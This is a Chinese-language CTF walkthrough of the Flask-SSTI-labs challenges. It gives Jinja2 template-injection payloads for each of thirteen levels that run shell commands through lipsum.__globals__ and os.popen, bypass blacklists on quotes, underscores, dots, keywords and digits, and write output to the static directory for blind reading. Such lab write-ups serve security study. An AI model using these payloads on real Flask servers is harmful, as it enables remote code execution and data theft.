CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

文章目录

CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记前记获取键值或下标的方式获取属性的方式

Level 1 no wafLevel 2 bl['\{\{']Level 3 no waf and blindLevel 4 bl['[', ']']获取键值或下标

Level 5 bl['\'', '"']Level 6 bl['_']Level 7 bl['.']Level 8 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]Level 9 bl['0-9']Level 10 set config = NoneLevel 11 bl['\'', '"', '+', 'request', '.', '[', ']']ban 了 `' " request'`思考如何返回字符串？如果我们读flag 目录路径有 空格+ 斜杠 如何处理？

Level 12 bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']获取下划线（空格）的两种方式

Level 13 bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']

总结

前记

搭建环境

建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用

以下题目我用简洁的payload 绕过{{lipsum.__globals__['os'].popen('ls').read()}}

其中lipsum为 flask框架 内置函数 通用

以下内容熟记 （因为绕过本质无非是换种形式表达相同的含义）

获取键值或下标的方式

dict['__builtins__']

dict.__getitem__('__builtins__')

dict.pop('__builtins__')

dict.get('__builtins__')

dict.setdefault('__builtins__')

list[0]

list.__getitem__(0)

list.pop(0)

获取属性的方式

().__class__

()["__class__"]

()|attr("__class__")

().__getattribute__("__class__")

Level 1 no waf

{{lipsum.__globals__['os'].popen('cat /app/flag').read()}}

Level 2 bl[‘{{’]

{%%}可以用来声明变量，当然也可以用于循环语句和条件语句。

{{}}用于将表达式打印到模板输出

{##}表示未包含在模板输出中的注释

\##可以有和{%%}相同的效果

{{}} 等价于 {%print%}

Level 3 no waf and blind

盲注

第一 判断出不出网

{{lipsum.__globals__['os'].popen('ls').read()}}

发现不出网

尝试写静态文件 请先了解 flask 静态目录概念

{{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}

成功写入static静态目录

读取flag

{{lipsum.__globals__['os'].popen('echo `cat /app/flag` >/app/static/1.txt').read()}}

Level 4 bl[‘[’, ‘]’]

{{lipsum.__globals__['os'].popen('ls').read()}}

获取键值或下标

dict['__builtins__'] dict.__getitem__('__builtins__') dict.pop('__builtins__') dict.get('__builtins__') dict.setdefault('__builtins__') list[0] list.__getitem__(0) list.pop(0)

替换一下

{{lipsum.__globals__.get('os').popen('ls').read()}}

Level 5 bl[‘’', ‘"’]

过滤引号

{{lipsum.__globals__['os'].popen('ls').read()}}

完全可以替换为 request.args.参数名（get方式）

{{lipsum.__globals__[request.args.x1].popen(request.args.x2).read()}}

Level 6 bl[‘_’]

{{lipsum.__globals__['os'].popen('ls').read()}}

可以编码绕过 python解析器支持 hex ，unicode编码 （不建议用base64仅python2支持）

{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}

Level 7 bl[‘.’]

{{lipsum.__globals__['os'].popen('ls').read()}}

用[] 代替 . 其他方法 参考 获取属性的四种方法

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

Level 8 bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

过滤了很多关键词

{{lipsum.__globals__['os'].popen('ls').read()}}

编码绕过和拼接不能同时使用 试错报错

{{lipsum['__glob''als__']['os']['pop''en']('ls').read()}}

Level 9 bl[‘0-9’]

{{lipsum.__globals__['os'].popen('ls').read()}}

我们没用 数字

Level 10 set config = None

通过 current_app取config

{{url_for.__globals__['current_app'].config}}

Level 11 bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]

ban 了 ' " request'思考如何返回字符串？

通过过滤器 | join 返回变量

ban 了 . []如何取属性 ？

通过 |attr()

如何取键值 ？

通过 __getitem__('key')

然后用 {%set %}拼接

{{lipsum.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__['os'].popen('ls').read()}}

a.构造__globals__

{%set a=dict(__glo=a,bals__=a)|join%}

b.构造os

{%set b=dict(o=a,s=a)|join%}

c.构造popen

{%set c=dict(po=a,pen=a)|join%}

cmd.构造ls

{%set cmd=dict(l=a,s=a)|join%}

d.构造read

{%set d=dict(re=a.ad=a)|join%}

e.构造__getitem__

{%set e=dict(__ge=a,titem__=a)|join%}

f.构造__builtins__

{%set f=dict(__buil=a,tins__=a)%}

g.构造 chr 字符

{%set ch=dict(ch=a,r=a)|join%}

{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

就是

{%set a=dict(__glo=a,bals__=a)|join%}

{%set b=dict(o=a,s=a)|join%}

{%set c=dict(po=a,pen=a)|join%}

{%set cmd=dict(l=a,s=a)|join%}

{%set d=dict(re=a,ad=a)|join%}

{%set e=dict(__ge=a,titem__=a)|join%}

{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

如果我们读flag 目录路径有 空格+ 斜杠 如何处理？

取['__builtins__']['chr']函数 用ascii表 转换为字符

原payload:{{lipsum.__globals__['__builtins__']['chr']}}

附字符转chr脚本 记下 32 为空格 47为斜杠

i= input("输入字符串:")

flag=""

for c in i:

c= ord(c)

b="chr(%d)" %(c)

flag +=b+'%2b'

print(flag[0:-3:1])

修改payload

构造细节

{{lipsum.__globals__['os'].popen('ls').read()}}

a.构造__globals__

{%set a=dict(__glo=a,bals__=a)|join%}

b.构造os

{%set b=dict(o=a,s=a)|join%}

c.构造popen

{%set c=dict(po=a,pen=a)|join%}

cmd.构造ls

{%set cmd=dict(l=a,s=a)|join%}

d.构造read

{%set d=dict(re=a,ad=a)|join%}

e.构造__getitem__

{%set e=dict(__ge=a,titem__=a)|join%}

f.构造__builtins__

{%set f=dict(__buil=a,tins__=a)|join%}

ch.构造 chr 字符

{%set ch=dict(ch=a,r=a)|join%}

chh.构造 chr 函数

{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}

code={%set a=dict(__glo=a,bals__=a)|join%}

{%set b=dict(o=a,s=a)|join%}

{%set c=dict(po=a,pen=a)|join%}

{%set d=dict(re=a,ad=a)|join%}

{%set e=dict(__ge=a,titem__=a)|join%}

{%set f=dict(__buil=a,tins__=a)|join%}

{%set ch=dict(ch=a,r=a)|join%}

{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}

{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}

{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

Level 12 bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’]

相比上一题

过滤了下划线和数字

获取下划线（空格）的两种方式

通过截取 环境字符 通过 chr函数 转化

取下划线 测试

{{()|select|string|list}}

返回字符 可以通过下标取到结果

{%set p=dict(po=a,p=a)|join%}

{{()|select|string|list|attr(p)(24)}}

但是这里禁止了数字0-9

可以通过过滤器 | length 或者| count取到

数字24

用python生成24个字符 python -c "print('a'*24)"

aaaaaaaaaaaaaaaaaaaaaaaa

取下划线 _

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}

{%set p=dict(po=a,p=a)|join%}

{{()|select|string|list|attr(p)(numa)}}

延用上关的payload进行修改

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}

{%set p=dict(po=a,p=a)|join%}

{%set xhx=()|select|string|list|attr(p)(numa)%}

{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}

{%set b=dict(o=a,s=a)|join%}

{%set c=dict(po=a,pen=a)|join%}

{%set d=dict(re=a,ad=a)|join%}

{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}

{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}

{%set ch=dict(ch=a,r=a)|join%}

{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}

{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}

{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}

{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}

{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

注意一下 不能单独

{%set a=dict(glob=a,als=a)|join%}

{%set ac=(xhx,xhx,a,xhx,xhx)|join%} //这是失败的

//还必须一起写（不然没法取完整下划线）

Level 13 bl[‘_’, ‘.’, ‘\’, ‘’', ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]

沿用上关payload 嘿嘿

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}

{%set p=dict(po=a,p=a)|join%}

{%set xhx=()|select|string|list|attr(p)(numa)%}

{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}

{%set b=dict(o=a,s=a)|join%}

{%set c=dict(po=a,pen=a)|join%}

{%set d=dict(re=a,ad=a)|join%}

{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}

{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}

{%set ch=dict(ch=a,r=a)|join%}

{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}

{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}

{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}

{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}

{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

总结

我们想像一下假如出题人 比较细节 完全可以把flask内置函数lipsum,config,url_for都禁了

我们要这么办？

既然是ssti漏洞专门设计的CTF题 一定有解

恰好如果ssti ban了() 那么将没有办法做

我们完全可以从源字符取

例如

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

取chr函数可以通过

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['chr']}}

相信自己，即使自己手动构造比较复杂，一步一步来，是可以完成的

文章链接

评论可见，请评论后查看内容，谢谢！！！
 您阅读本篇文章共花了：